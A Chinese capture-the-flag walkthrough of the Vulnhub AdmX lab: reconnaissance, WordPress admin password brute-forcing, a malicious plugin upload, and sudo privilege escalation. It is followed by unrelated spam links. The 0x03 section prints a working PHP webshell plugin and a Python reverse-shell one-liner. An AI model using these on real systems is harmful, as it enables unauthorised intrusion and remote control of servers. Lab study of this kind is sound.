当前位置: 首页 > news >正文

重庆网站建设公司模板百度云电脑版网站入口

重庆网站建设公司模板,百度云电脑版网站入口,百度收录提交接口,做软件需要网站吗0x00前言 因为环境问题,此次靶场都放在vm上。都为NAT模式。 靶机地址: https://download.vulnhub.com/admx/AdmX_new.7z 需要找到两个flag文件。 0x01信息搜集 搜集IP 确认目标IP为172.16.8.131,进一步信息搜集 获取端口开放情况,版本信…

0x00前言

因为环境问题,此次靶场都放在vm上。都为NAT模式。

靶机地址: https://download.vulnhub.com/admx/AdmX_new.7z

需要找到两个flag文件。

0x01信息搜集

搜集IP

确认目标IP为172.16.8.131,进一步信息搜集

获取端口开放情况,版本信息等等。

 发现目标有80 端口开启。可以去看看。

发现没有什么功能点,然后直接目录扫描。

发现关键词WP 去查看。发现新页面

点击标签发现会自动跳转,一个网址,通过查看数据包代码里已经把IP地址写死了。但是可以利用BP来将响应包的数据替换掉。

0x02响应包替换。

添加两条规则即可。

替换后,(在浏览器上使用插件要把本地的规则放开,让BP能抓住本地网络的数据包)

看了一圈没有什么可疑的地方,继续信息搜集。 

发现admin路径,

经过测试发现。输入admin和输入其他是不一样的所以由此判断。用户名为admin.

直接爆破密码即可。adam14

0x03反弹shell

成功进入后台。

通过上网搜集资料发现 可以通过插件,主题,media等功能点上传木马来进行getshell.

在插件编辑功能点发现了php代码但是不能保存。

上传的文件必须是zip文件还得要符合规则

<?php
/**
* Plugin Name: Shell
* Plugin URI: https://x.github.io
* Description: WP Webshell for Pentest
* Version: 1.0
* Author: kalpa
* Author URI: https://x.github.io
* License: https://x.github.io
*/if(isset($_GET['cmd']))
{system($_GET['cmd']);
}
?>

把上面的文件写入php文件,打包成zip上传即可。

 然后把插件激活即可。

http://172.16.8.131/wordpress/wp-content/plugins/shell.php?cmd=whoami

访问上面的命令即可命令执行。

 然后尝试反弹shell.本次使用python反弹shell.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.8.132",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功。

0x04提权

信息搜集,尝试提权。

进入/etc/passwd 查看 

发现一个wpadmin用户。去用户目录查看 

发现需要wpadmin 有一个txt可能是flag文件。尝试以wpadmin登陆

在wp的配置文件中找到了。如下信息。 

尝试连接数据库。 无果。

最后使用登陆 wordpress的密码成功登陆 wpadmin.

 0x05二次提权。

尝试把权限提升到root.

sudo提权 使用之前获取到的数据库密码尝试提权。 

 进过测试发现可以直接使用系统命令。

0x06 拿到第二个flag

 0x07总结

靶场用到的一些技术点:BP替换响应包,wordpress框架的测试,sudo提权。

http://www.dinnco.com/news/46423.html

相关文章:

  • 大型的网站建设关键词排名优化教程
  • asp网站域名授权陕西seo公司
  • 静态网站怎么申请网站详细步骤
  • 网站建设费税率多少app推广拉新工作可靠吗
  • 小白怎么做淘宝客网站seo系统源码出售
  • 做网站的开源代码长春seo优化企业网络跃升
  • 公司网站域名如何申请成都最新疫情
  • 网站域名更换是怎么做的杭州seo按天计费
  • 沧州疫情最新情况福建seo关键词优化外包
  • 做我女朋友好不好套路网站交换友情链接的渠道
  • 乌鲁木齐网站建设报价外汇seo公司
  • 网络运营推广方式有哪些搜索引擎优化排名工具
  • 乐清门户网站网络营销外包推广
  • php做的静态网站怎么加密如何进行网站的推广
  • nodejs做企业网站淘宝指数官网入口
  • 如何选择网站营销公司互联网营销专业
  • html旅游网站制作代码bt种子搜索
  • 河北住房和城乡建设厅网站semester
  • 门户网站开发需求分析互联网销售模式
  • 头条网站开发中山seo推广优化
  • 手机视频网站建站广东省最新疫情
  • 做网站只有搜网址吗站长之家站长工具
  • 做音乐的网站设计手把手教你优化网站
  • 企业网站首页效果图设计与制作免费网页空间到哪申请
  • 怎么做网站做站点seo排名优化公司哪家好
  • 移动网站开发做一个简单网页阿里云云服务平台
  • 关键词搜索引擎网站宁波品牌网站推广优化公司
  • 云南做网站报价厦门seo厦门起梦
  • 广州新塘做网站平台引流推广怎么做
  • 越秀区建设水务局网站线上推广的优势和好处